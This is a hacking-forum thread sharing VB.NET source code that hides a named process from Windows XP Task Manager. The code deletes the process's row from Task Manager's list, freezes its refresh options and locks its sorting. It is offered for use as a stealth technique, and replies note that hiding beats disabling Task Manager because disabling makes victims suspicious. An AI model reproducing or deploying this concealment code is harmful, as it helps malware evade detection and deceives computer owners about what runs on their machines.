Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

[VB.NET] HIDE any Process From Task Manager [SOURCE] - First on HF [HOT!!]

Hi Guys,

I recently found this source on the net when I was searching for someother thing.
Just sharing it with you.

This works for XP, VB.NET 2003/2005/2008.
Although with some simple modification you'll be able to do it.
Sorry, I can't do that because I'm on XP

Just insert the following onto ur form:
  • A Timer named Timer1

  • A ListView named ListView1



Now add this code inside your form class:
Quote: Const WM_COMMAND As Int32 = &H111
Const MF_ENABLED As Int32 = &H0
Const MF_GRAYED As Int32 = &H1
Const LVM_FIRST As Int32 = &H1000
Const LVM_DELETEITEM As Int32 = (LVM_FIRST + 8)
Const LVM_SORTITEMS As Int32 = (LVM_FIRST + 48)
Private Declare Function apiFindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Int32
Private Declare Function apiFindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Int32, ByVal hWnd2 As Int32, ByVal lpsz1 As String, ByVal lpsz2 As String) As Int32
Private Declare Function apiEnableWindow Lib "user32" Alias "EnableWindow" (ByVal hwnd As Int32, ByVal fEnable As Int32) As Boolean
Private Declare Function apiGetMenu Lib "user32" Alias "GetMenu" (ByVal hwnd As Int32) As Int32
Private Declare Function apiGetSubMenu Lib "user32" Alias "GetSubMenu" (ByVal hMenu As Int32, ByVal nPos As Int32) As Int32
Private Declare Function apiGetMenuItemID Lib "user32" Alias "GetMenuItemID" (ByVal hMenu As Int32, ByVal nPos As Int32) As Int32
Private Declare Function apiEnableMenuItem Lib "user32" Alias "EnableMenuItem" (ByVal hMenu As Int32, ByVal wIDEnableItem As Int32, ByVal wEnable As Int32) As Int32
Private Declare Function apiSendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Int32, ByVal wMsg As Int32, ByVal wParam As Int32, ByVal lParam As String) As Int32
Private Declare Function apiGetDesktopWindow Lib "user32" Alias "GetDesktopWindow" () As Int32
Private Declare Function apiLockWindowUpdate Lib "user32" Alias "LockWindowUpdate" (ByVal hwndLock As Int32) As Int32

Public Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
' Me.Text = pName 'Set form name to match process name given
Me.ShowInTaskbar = False 'hide application from taskbar
Timer1.Interval = 800 'Set to start fast
Timer1.Enabled = True 'Actually start the timer
ListView1.View = View.Details
ListView1.Columns.Add("Process name", -2, HorizontalAlignment.Left)
ListView1.Sorting = SortOrder.Ascending 'So that the list view automatically sorts the entries for us.
'Me.Hide() 'uncomment when ready to terminate this program elsehow.
End Sub
Private Sub Form1_Closed(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.Closed
HideProcess("", False)
End Sub

Private Function HideProcess(ByVal pName As String, Optional ByVal pHide As Boolean = True)
On Error Resume Next
Dim lhWndParent As Int32 = apiFindWindow(Nothing, "Windows Task Manager") 'get handle to the task manager
Dim lhWndDialog As Int32 = 0
Dim lhWndProcessList As Int32 = 0
Dim lhWndProcessHeader As Int32 = 0
Dim hMenu As Int32 = apiGetMenu(lhWndParent) 'get it's menu handle
Dim hSubMenu As Int32 = apiGetSubMenu(hMenu, 2) 'get it's submenu handle for "View"
Dim hSubSubMenu As Int32 = apiGetSubMenu(hSubMenu, 1) 'get it;s subsub menu handle for "update speed"
Dim hId1 As Int32 = apiGetMenuItemID(hSubMenu, 0) 'Get id for "refresh now" item
Dim hId2 As Int32 = apiGetMenuItemID(hSubSubMenu, 0) 'Get id for "high update speed" item
Dim hId3 As Int32 = apiGetMenuItemID(hSubSubMenu, 1) 'Get id for "normal update speed" item
Dim hId4 As Int32 = apiGetMenuItemID(hSubSubMenu, 2) 'Get id for "low update speed" item
Dim hId5 As Int32 = apiGetMenuItemID(hSubSubMenu, 3) 'Get id for "paused update speed" item
If pHide = True Then
Dim ProcessItemCount, ProcessItemIndex As Int32
Dim itemString As String, p As New Process, Processes() As Process

For i As Int32 = 1 To 7 'Loop through all seven child windows, for handles to the listviews, buttons, and header
lhWndDialog = apiFindWindowEx(lhWndParent, lhWndDialog, Nothing, Nothing)
If lhWndProcessList = 0 Then lhWndProcessList = apiFindWindowEx(lhWndDialog, 0, "SysListView32", "Processes")
If lhWndProcessHeader = 0 Then lhWndProcessHeader = apiFindWindowEx(lhWndProcessList, 0, "SysHeader32", Nothing)
Next

apiSendMessage(lhWndParent, WM_COMMAND, hId5, 0) 'Click "paused update speed", so we can do it for the taskmgr

apiEnableMenuItem(hMenu, hId1, MF_GRAYED) 'disable refresh now item
apiEnableMenuItem(hMenu, hId2, MF_GRAYED) 'disable high update speed
apiEnableMenuItem(hMenu, hId3, MF_GRAYED) 'disable normal update speed
apiEnableMenuItem(hMenu, hId4, MF_GRAYED) 'disable low update speed
apiEnableMenuItem(hMenu, hId5, MF_GRAYED) 'disable paused update speed

apiEnableWindow(lhWndProcessHeader, 0) 'Disable process header, so it cannot be resorted by user

If Me.ListView1.Items.Count > 0 Then Me.ListView1.Items.Clear() 'clear any old data that was on the list

Processes = Process.GetProcesses() 'Get processes

For Each p In Processes 'Count processes, and add them to the listview.
ProcessItemCount += 1
If p.ProcessName.ToString = "Idle" Then
With Me.ListView1.Items.Add("System Idle Process")
End With
Else
With Me.ListView1.Items.Add(p.ProcessName.ToString)
End With
End If
Next p

'Look for, the index of the process matching the string name of our caption then
For z As Int32 = 0 To ProcessItemCount - 1
itemString = ListView1.Items.Item(z).Text.ToString()
If itemString = pName Then ProcessItemIndex = z
Next

apiLockWindowUpdate(lhWndProcessList) 'Lock the window from updating, to reduce flashing.
apiSendMessage(lhWndParent, WM_COMMAND, hId1, 0) 'AutoClick refresh to update, then immediately sort and delete.
apiSendMessage(lhWndProcessList, LVM_SORTITEMS, 0, Nothing) ' Sort process items alphabetically
apiSendMessage(lhWndProcessList, LVM_DELETEITEM, ProcessItemIndex, 0) 'Delete the process,
apiLockWindowUpdate(False) 'unlock that window

If lhWndParent = 0 Then
If Timer1.Interval <> 800 Then Timer1.Interval = 800 'Set to react fast while task manager is closed.
Else
If Timer1.Interval <> 2500 Then Timer1.Interval = 2500 'Set to a normal looking update speed, while the task manager remains open.
End If
Else
Timer1.Enabled = False 'kill the timer
For i As Int32 = 1 To 7
lhWndDialog = apiFindWindowEx(lhWndParent, lhWndDialog, Nothing, Nothing)
If lhWndProcessList = 0 Then lhWndProcessList = apiFindWindowEx(lhWndDialog, 0, "SysListView32", "Processes")
If lhWndProcessHeader = 0 Then lhWndProcessHeader = apiFindWindowEx(lhWndProcessList, 0, "SysHeader32", Nothing)
Next
apiEnableMenuItem(hMenu, hId1, MF_ENABLED) 're-enable refresh now
apiEnableMenuItem(hMenu, hId2, MF_ENABLED) 're-enable high update speed
apiEnableMenuItem(hMenu, hId3, MF_ENABLED) 're-enable normal update speed
apiEnableMenuItem(hMenu, hId4, MF_ENABLED) 're-enable low update speed
apiEnableMenuItem(hMenu, hId5, MF_ENABLED) 're-enable paused update speed
apiSendMessage(lhWndParent, WM_COMMAND, hId3, 0) 'click normal update speed
apiSendMessage(lhWndParent, WM_COMMAND, hId1, 0) 'click refresh now
apiEnableWindow(lhWndProcessHeader, 1) 'Enable process header
End If
Return True
End Function

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim p() As Process = Process.GetProcessesByName("taskmgr")
If p.Length > 0 Then
HideProcess("notepad", True) ''----CHANGE THIS TO THE NAME OF YOUR PROCESS-------
End If
End Sub


Now change the process name to your desired one, compile and run.
And run taskmanager🤣
Was the process there?? Amazed ! ! !🤗

Credits:
Original Link

Have a nice day👍

[img]http://img96.imageshack.us/img96/3681/8wzlu1.png[/img]


--
Jaikrishna

Mhmmm... Thanks for posting credits... Or you can just disable task manager, though that will make them suspect something.. Will try out later. Thank you.
(Apr 20, 2010 06:45 PM)Cats R Kewl Wrote:  Mhmmm... Thanks for posting credits... Or you can just disable task manager, though that will make them suspect something.. Will try out later. Thank you.
Yeah, Hiding is better than disabling
(Apr 20, 2010 06:58 PM)jaikrishna Wrote:  Yeah, Hiding is better than disabling
Never said it wasn't just saying or you could do that.... I even said what was the flaw with the other option..
OT: Looks like a lot of source.
Thanks for sharing. Will try it out later.
Just a note, the original source states that this doesn't work for Vista/7.
(Apr 20, 2010 07:04 PM)Vice Wrote:  Just a note, the original source states that this doesn't work for Vista/7.

Right, I added it to the post
XP / vista / 7 has been public since (*edit*) early march

[img]http://i41.[censored].com/16c2j9d.jpg[/img]
(Apr 20, 2010 07:20 PM)nathan72389 Wrote:  XP / vista / 7 has been public since late 2009

[img]http://i41.[censored].com/16c2j9d.jpg[/img]

Oh, Was it on HF already?

I removed the tag 'First on HF'

Sorry.
(Apr 20, 2010 07:21 PM)jaikrishna Wrote:  Oh, Was it on HF already?


i dont think it was.

sooo.....

im sure alot will thank you for this. keep it up.


(didnt mean to sound like a rude dick in my previous post)
(Apr 20, 2010 07:24 PM)nathan72389 Wrote:  i dont think it was.

sooo.....

im sure alot will thank you for this. keep it up.


(didnt mean to sound like a rude dick in my previous post)

I just wanted to get the program you showed in screenshot.
Is it yours?
(Apr 20, 2010 07:27 PM)jaikrishna Wrote:  I just wanted to get the program you showed in screenshot.
Is it yours?

no, its not an original source by me

im not exactly for sure if it was a vip, or public post, but either way, its out there, i know i have seen the same source posted on a few sites with the credits stripped from it.
(Apr 20, 2010 07:04 PM)Vice Wrote:  Just a note, the original source states that this doesn't work for Vista/7.

JUST A NOTE: to anyone using this code, as Vice posted, in the original source it states that this doesn't work for Vista/7, but you can fix this very easy by subing or adding one to the list number, i do not have my source here so can not remember, but you need to just test for Vista/7 if so, sub or add 1 to the list number.

For example when you use it in Vista/7, it remove the name above (or bellow) the one you want to hide.
So it a easy fix.

I can not think why the original code could not fix it.
Don't work in WinXP SP3 !
Cheers for the Credits and source, I'm gonna work on making this more efficent.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by sara_221540Jul 19, 2020 10:01 AM 14 397 Jul 19, 2020 10:01 AM
Last Post: iolaka
[C#] by SIM-4704770May 29, 2020 09:33 AM 9 348 May 29, 2020 09:33 AM
Last Post: Shadow_Cloud
[Python] by lazaeomicheal606Nov 23, 2019 11:00 PM 4 218 Nov 23, 2019 11:00 PM
Last Post: lazaeomicheal606